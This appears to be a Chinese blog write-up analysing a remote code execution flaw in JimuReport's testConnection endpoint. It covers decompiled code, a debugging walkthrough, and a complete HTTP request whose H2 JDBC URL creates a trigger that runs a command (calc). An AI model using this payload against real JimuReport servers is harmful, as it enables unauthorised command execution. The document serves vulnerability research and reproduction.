当前位置: 首页 > news >正文

Jimureport h2命令执行分析记录

首先找testConnection接口,前面进行了jimureport-spring-boot-starter-1.5.8.jar反编译查找,接口找到发现请求参数是json
在这里插入图片描述
var1是JmreportDynamicDataSourceVo类型,也就是如上图的dbSource,根据打印的结果可以知道这里是local cache key
ConcurrentHashMap属于并发程序,var4也就是连接相关的东西
那么这一块就是数据库连接的东西,主要说的是配置文件
因为jeecg-boot/jmreport/testConnection接口的参数是var1,是JmreportDynamicDataSourceVo类型,那么我们查看代码总结出来有这么几个参数id,code,dbType,dbDriver,dbUrl,dbName,dbUsername,dbPassword,connectTimes

那么继续往下走在这里插入图片描述
可以看到从var1(也就是JmreportDynamicDataSourceVo)中获得DbDriver,然后获得DbUrl,一起通过g方法传给了var39,来看看g方法在这里插入图片描述
这段代码的目的是用于处理包含数据库连接参数的字符串,如果字符串中包含 “mysql”,则将 “allowLoadLocalInfile” 参数设置为 “false”。这是为了增强安全性,因为允许加载本地文件可能存在一些潜在的安全风险

var2 = DriverManager.getConnection(var39, var1.getDbUsername(), var1.getDbPassword());

回到上一层,继续往下走,var2是进行数据库连接(dburl,username,password),那么记下来就是if判断var是否为null

但是上面是我们反编译出的jar包和实际还是有差别,进行动态调试看看
现在对传入的 HTTP 请求执行预处理的拦截器地方下断点,因为必经过这里
在这里插入图片描述
然后往下跳,在接口处下断点在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到为false,所以进入下面1091行的else
在这里插入图片描述
可以看到连接时候直接执行命令,弹出计算器
在这里插入图片描述
然后回显报错,这里会想到为什么会跳入这个catch (Exception var35)呢
因为执行的命令用于连接会报异常,catch (ClassNotFoundException var34) 块用于捕获ClassNotFoundException异常,而Exception var35用于捕获所有的异常

payload

POST /jeecg-boot/jmreport/testConnection HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 363{"id": "1","code": "dataSource1","dbType": "H2","dbDriver": "org.h2.Driver","dbUrl": "jdbc:h2:mem:test;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$","dbName": "test","dbUsername": "sa","dbPassword": "","connectTimes": 5
}

在这里插入图片描述
目前是本地h2数据库没有配置好,并且idea没有配置h2的依赖
我们配置好如下
在这里插入图片描述
在idea中加入h2依赖

<!--h2-->
<dependency><groupId>com.h2database</groupId><artifactId>h2</artifactId><version>1.4.197</version><scope>runtime</scope>
</dependency>

根据我们之前写的h2文章,就是因为所在版本存在漏洞1.1.100 <= H2 Console <= 2.0.204
在这里插入图片描述
在这里插入图片描述
成功弹出计算器

相关文章:

Jimureport h2命令执行分析记录

首先找testConnection接口&#xff0c;前面进行了jimureport-spring-boot-starter-1.5.8.jar反编译查找&#xff0c;接口找到发现请求参数是json var1是JmreportDynamicDataSourceVo类型&#xff0c;也就是如上图的dbSource&#xff0c;根据打印的结果可以知道这里是local cac…...

vue 集成 webrtc-streamer 播放视频流 - 解决阿里云内外网访问视频流问题

资料&#xff1a; 史上最详细的webrtc-streamer访问摄像机视频流教程-CSDN博客 webrtc目录 前端集成 html文件夹里的webrtcstreamer.js&#xff0c;集成到前端&#xff0c;可以访问webrtc&#xff0c;转换rtsp为webrtc视频流&#xff0c;在前端video中播放 <videoref&quo…...

进网许可认证、交换路由设备检测项目更新25年1月起

实施时间 2025年1月1日起实施 涉及设备范围 核心路由器、边缘路由器、以太网交换机、三层交换机、宽带网络接入服务器&#xff08;BNAS&#xff09; 新增检测依据 GBT41266-2022网络关键设备安全检测方法交换机设备 GBT41267-2022网络关键设备安全技术要求交换机设备 GB/…...

Provides transitive vulnerable dependency maven 提示依赖存在漏洞问题的解决方法

问题描述 如下图所示&#xff0c;对于 java 项目某些依赖&#xff0c;IDEA 提示&#xff0c;引用了含有漏洞的依赖。如果是单个依赖&#xff0c;可以考虑直接升级版本即可。但是对于传递性依赖&#xff0c;比如 flink 项目中&#xff0c;依赖的部分模块&#xff0c;它们自己依…...

WebAuthn 项目常见问题解决方案

WebAuthn 项目常见问题解决方案 webauthn Webauthn / passkeys helper library to make your life easier. Client side, server side and demo included. [这里是图片001] 项目地址: https://gitcode.com/gh_mirrors/webaut/webauthn 项目基础介绍 WebAuthn 项目是一个开源…...

LeetCode 844. 比较含退格的字符串 (C++实现)

1. 题目描述 给定 s 和 t 两个字符串&#xff0c;当它们分别被输入到空白的文本编辑器后&#xff0c;如果两者相等&#xff0c;返回 true 。# 代表退格字符。 注意&#xff1a;如果对空文本输入退格字符&#xff0c;文本继续为空。 示例 1&#xff1a; 输入&#xff1a;s …...

Python8-写一些小作业

记录python学习&#xff0c;直到学会基本的爬虫&#xff0c;使用python搭建接口自动化测试就算学会了&#xff0c;在进阶webui自动化&#xff0c;app自动化 python基础8-灵活运用顺序、选择、循环结构 写一些小练习题目1、给一个半径&#xff0c;求圆的面积和周长&#xff0c;…...

C++ STL vector基本原理和用法

文章目录 基本原理1. 数据存储结构2. 内存管理机制3. 迭代器实现原理4. 元素访问原理5. 插入和删除元素原理 常见用法1. 概述2. 包含头文件3. 定义和初始化4. 常用成员函数5. 迭代器6. 内存管理与性能特点7. 应用场景 基本原理 以下是关于 std::vector 的基本原理讲解&#xf…...

【计算机视觉基础CV-图像分类】05 - 深入解析ResNet与GoogLeNet:从基础理论到实际应用

引言 在上一篇文章中&#xff0c;我们详细介绍了ResNet与GoogLeNet的网络结构、设计理念及其在图像分类中的应用。本文将继续深入探讨如何在实际项目中应用这些模型&#xff0c;特别是如何保存训练好的模型、加载模型以及使用模型进行新图像的预测。通过这些步骤&#xff0c;读…...

【人工智能-初级】基于用户的协同过滤推荐算法

文章目录 1. 数据集2. 实验代码3. 代码解释4. 实验结果5. 评估基于用户的协同过滤算法是一种常见的推荐算法,它的核心思想是根据用户之间的相似性来进行推荐。 实验案例: 使用的是电影推荐数据集 MovieLens,实验中我们会通过用户评分数据计算用户之间的相似性,并使用基于用户…...

如何识别钓鱼邮件和诈骗网站?(附网络安全意识培训PPT资料)

识别钓鱼邮件和诈骗网站是网络安全中的一个重要环节。以下是一些识别钓鱼邮件和诈骗网站的方法&#xff1a; 识别钓鱼邮件&#xff1a; 检查发件人地址&#xff1a; 仔细查看发件人的电子邮件地址&#xff0c;看是否与官方域名一致。 检查邮件内容&#xff1a; 留意邮件中是否…...

Rust 在前端基建中的使用

摘要 随着前端技术的不断发展&#xff0c;前端基础设施&#xff08;前端基建&#xff09;的建设已成为提升开发效率、保障产品质量的关键环节。然而&#xff0c;在应对复杂业务场景与高性能需求时&#xff0c;传统的前端技术栈逐渐暴露出诸多不足。近年来&#xff0c;Rust语言…...

【人工智能】基于Python和OpenCV实现实时人脸识别系统:从基础到应用

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 随着人工智能和计算机视觉的快速发展,人脸识别技术已广泛应用于监控、安全、社交媒体、金融和医疗等领域。本文将介绍如何利用Python和Ope…...

Python 自动化 打开网站 填表登陆 例子

图样 简价&#xff1a; 简要说明这个程序的功能&#xff1a; 1. **基本功能**&#xff1a; - 自动打开网站 - 自动填写登录信息&#xff08;号、公司名称、密码&#xff09; - 显示半透明状态窗口实时提示操作进度 2. **操作流程**&#xff1a; - 打开网站后自动…...

【Chrome】浏览器提示警告Chrome is moving towards a new experience

文章目录 前言一、如何去掉 前言 Chrome is moving towards a new experience that allows users to choose to browse without third-party cookies. 这是谷歌浏览器&#xff08;Chrome&#xff09;关于隐私策略更新相关的提示 提示&#xff1a;以下是本篇文章正文内容&…...

网络下载ts流媒体

网络下载ts流媒体 查看下载排序合并 很多视频网站&#xff0c;尤其是微信小程序中的长视频无法获取到准确视频地址&#xff0c;只能抓取到.ts片段地址&#xff0c;下载后发现基本都是5~8秒时长。 例如&#xff1a; 我们需要将以上地址片段全部下载后排序后再合成新的长视频。 …...

iDP3复现代码模型训练全流程(一)——train_policy.sh

iDP3 核心脚本包括三个&#xff1a;deploy_policy.sh、vis_dataset.sh、train_policy.sh&#xff0c;分别代表了部署、预处理和训练&#xff0c;分别作为对应 py 脚本的参数设置前置环节 训练环节仅需运行指令&#xff1a; # 3d policy bash scripts/train_policy.sh idp3 gr1…...

重温设计模式--单例模式

文章目录 单例模式&#xff08;Singleton Pattern&#xff09;概述单例模式的实现方式及代码示例1. 饿汉式单例&#xff08;在程序启动时就创建实例&#xff09;2. 懒汉式单例&#xff08;在第一次使用时才创建实例&#xff09; 单例模式的注意事项应用场景 C代码懒汉模式-经典…...

【人工智能】Python中的机器学习管道:如何用scikit-learn构建高效的ML管道

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 在机器学习项目中,数据预处理、特征工程、模型训练与评估是不可或缺的环节。随着项目规模的扩大和复杂度的增加,手动管理这些步骤不仅繁琐…...

Redis存在安全漏洞

Redis是美国Redis公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值&#xff08;Key-Value&#xff09;存储数据库&#xff0c;并提供多种语言的API。 Redis存在安全漏洞。攻击者利用该漏洞使用特制的Lua脚本触发堆栈缓冲区溢出漏洞&#xff0c;从…...

AI Agent在物流与运输中的应用:路径优化与调度自动化

AI Agent在物流与运输中的应用:路径优化与调度自动化 引言 在当今快速发展的商业环境中,物流与运输行业正面临着前所未有的挑战。随着电子商务的爆发式增长,消费者对配送速度、成本和可靠性的要求越来越高。同时,全球化供应链的复杂性、燃油价格的波动以及环保法规的日益…...

一文读懂 JWT 无状态身份认证的核心原理

JWT 是目前前后端分离、微服务架构中最常用的无状态身份认证方案。本文用简洁易懂的方式&#xff0c;带你快速掌握 JWT 的签发、传递与校验核心逻辑&#xff0c;轻松理解其工作原理与安全机制。 一、什么是JWT&#xff1f; JWT&#xff08;JSON Web Token&#xff09;是一种轻…...

微信聊天记录导出终极指南:如何快速安全备份你的珍贵回忆

微信聊天记录导出终极指南&#xff1a;如何快速安全备份你的珍贵回忆 【免费下载链接】WeChatExporter 一个可以快速导出、查看你的微信聊天记录的工具 项目地址: https://gitcode.com/gh_mirrors/wec/WeChatExporter 你是否曾经因为手机丢失或系统升级&#xff0c;担心…...

vue3 父组件向子组件传参

vue3中父组件向子组件传递参数&#xff0c;核心方案是&#xff1a;父组件用 v-bind 绑定数据&#xff0c;子组件用 defineProps 接收数据&#xff08;组合式 API 语法&#xff09;。即&#xff1a;v-bind 传 &#xff08;父&#xff09; defineProps 收&#xff08;子&#xff…...

运维视角的测试:可观测性驱动的质量保障

在云原生与微服务架构盛行的今天&#xff0c;软件系统的复杂性已呈指数级增长。一个简单的用户请求&#xff0c;背后可能串联起数十个松耦合的服务&#xff0c;横跨多个云环境与基础设施层。传统的软件测试&#xff0c;其焦点往往集中于功能验证、性能基准测试与缺陷发现&#…...

Pixel Language Portal应用场景深度挖掘:支持波斯语/梵文的学术文献跨维翻译工作流

Pixel Language Portal应用场景深度挖掘&#xff1a;支持波斯语/梵文的学术文献跨维翻译工作流 1. 学术翻译的新范式 在全球化知识共享的背景下&#xff0c;学术研究者经常面临古老语言文献的翻译难题。传统翻译工具对波斯语、梵文等特殊语种支持有限&#xff0c;更难以处理学…...

小米6刷机全攻略:从解锁BL到Recovery刷入

1. 解锁BootLoader前的准备工作 小米6作为一代经典机型&#xff0c;至今仍有大量用户在使用。刷机可以带来更流畅的系统体验、更长的续航时间&#xff0c;或是尝鲜第三方ROM的乐趣。但在开始之前&#xff0c;我们需要做好充分准备。我刷过不下20台小米6&#xff0c;总结出几个关…...

不同行业的文章标题SEO优化技巧有哪些区别

SEO优化技巧的行业差异&#xff1a;不同领域文章标题的独特策略 在当今的互联网时代&#xff0c;搜索引擎优化&#xff08;SEO&#xff09;已经成为了各行各业提升在线可见度的重要手段。SEO优化技巧在不同行业之间却有着显著的差异。每个行业的用户行为、关键词习惯和搜索算法…...

3步掌握抖音无水印下载:让视频采集效率提升300%

3步掌握抖音无水印下载&#xff1a;让视频采集效率提升300% 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback support. 抖…...

AI 编程盛行的时代,为什么 “『DC- WFW』” 仍然具有必要性?共

这&#xff0c;是一个采用C精灵库编写的程序&#xff0c;它画了一幅漂亮的图形&#xff1a; 复制代码 #include "sprites.h" //包含C精灵库 Sprite turtle; //建立角色叫turtle void draw(int d){for(int i0;i<5;i)turtle.fd(d).left(72); } int main(){ …...